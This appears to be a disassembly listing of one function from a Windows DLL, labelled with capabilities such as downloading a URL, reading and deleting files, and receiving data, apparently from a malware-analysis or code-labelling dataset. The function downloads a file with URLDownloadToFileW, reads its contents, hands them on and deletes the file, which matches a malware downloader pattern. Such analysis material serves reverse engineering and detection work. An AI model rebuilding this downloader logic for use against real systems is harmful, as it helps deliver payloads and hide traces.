Function at 0x10003270
Capabilities:
Check if file exists
Delete file
Download url
Read file on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30014
call fcn.1000a440
mov eax, dword [0x1001d24c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x3000c], edi
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x10017758
mov ecx, edi
call fcn.10002ce0
push 0xffff
lea eax, [ebp - 0x10003]
push 0
push eax
mov byte [ebp - 0x10004], 0
call fcn.10009880
add esp, 0xc
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x30014], esp
push 0x10017760
call fcn.10002ce0
lea ecx, [ebp - 0x30010]
push ecx
call fcn.10002d90
mov eax, dword [ebp - 0x30010]
add esp, 0xc
mov ebx, eax
test eax, eax
jne 0x100032f8
xor esi, esi
jmp 0x1000334b
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jg 0x10003341
lea edi, [eax + eax]
mov eax, edi
call fcn.1000a470
mov esi, esp
test esi, esi
je 0x1000333b
push 0
push 0
push edi
push esi
push 0xffffffffffffffff
push ebx
push 0
push 3
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, dword [ebp - 0x3000c]
neg eax
sbb eax, eax
and eax, esi
jmp 0x10003343
mov edi, dword [ebp - 0x3000c]
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x30010]
mov ecx, dword [0x1001e274]
test ecx, ecx
je 0x10003370
add ecx, 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x1001e274]
call fcn.10001960
mov eax, dword [ebp - 0x30010]
mov edx, dword [ebp + 0xc]
push 0
push 0
push eax
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov ecx, dword [0x1001e274]
test ecx, ecx
je 0x1000339e
call fcn.10001900
mov eax, dword [0x1001e274]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x30010]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10003502
push 0x1001775c
push esi
call fcn.1000a41a
mov esi, eax
add esp, 8
test esi, esi
je 0x10003502
push 0
push 0
push esi
call fcn.1000a2e2
push esi
push 0x10000
lea edx, [ebp - 0x10004]
push 1
push edx
call fcn.1000a23b
push esi
call fcn.10009f7d
xor eax, eax
push 0x20000
push eax
lea ecx, [ebp - 0x30006]
push ecx
mov word [ebp - 0x30008], ax
call fcn.10009880
mov edx, dword [0x1001d218]
mov eax, dword [edx + 0xc]
add esp, 0x2c
mov ecx, 0x1001d218
call eax
push 0x10000
lea ecx, [ebp - 0x10004]
push ecx
lea edx, [ebp - 0x30008]
add eax, 0x10
push edx
mov dword [ebp - 0x3000c], eax
call fcn.10005500
add esp, 0xc
cmp eax, 0xffffffff
jne 0x1000348c
lea eax, [ebp - 0x10004]
push eax
lea ecx, [ebp - 0x30014]
push ecx
call fcn.10002bb0
add esp, 8
push eax
lea ecx, [ebp - 0x3000c]
call fcn.10002b20
mov eax, dword [ebp - 0x30014]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000349e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x1000349e
lea ecx, [ebp - 0x30008]
push ecx
lea ecx, [ebp - 0x3000c]
call fcn.10002c90
mov esi, dword [ebp - 0x3000c]
mov eax, dword [esi - 0xc]
push eax
push esi
mov ecx, edi
call fcn.100023e0
push 0x10000
lea edx, [ebp - 0x10004]
push 0
push edx
call fcn.10009880
push 0x10001
lea eax, [ebp - 0x30008]
push 0
push eax
call fcn.10009880
mov ecx, dword [ebp - 0x30010]
add esp, 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esi - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10003502
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x30010]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000352a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10003549
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
lea esp, [ebp - 0x30020]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009816
mov esp, ebp
pop ebp
ret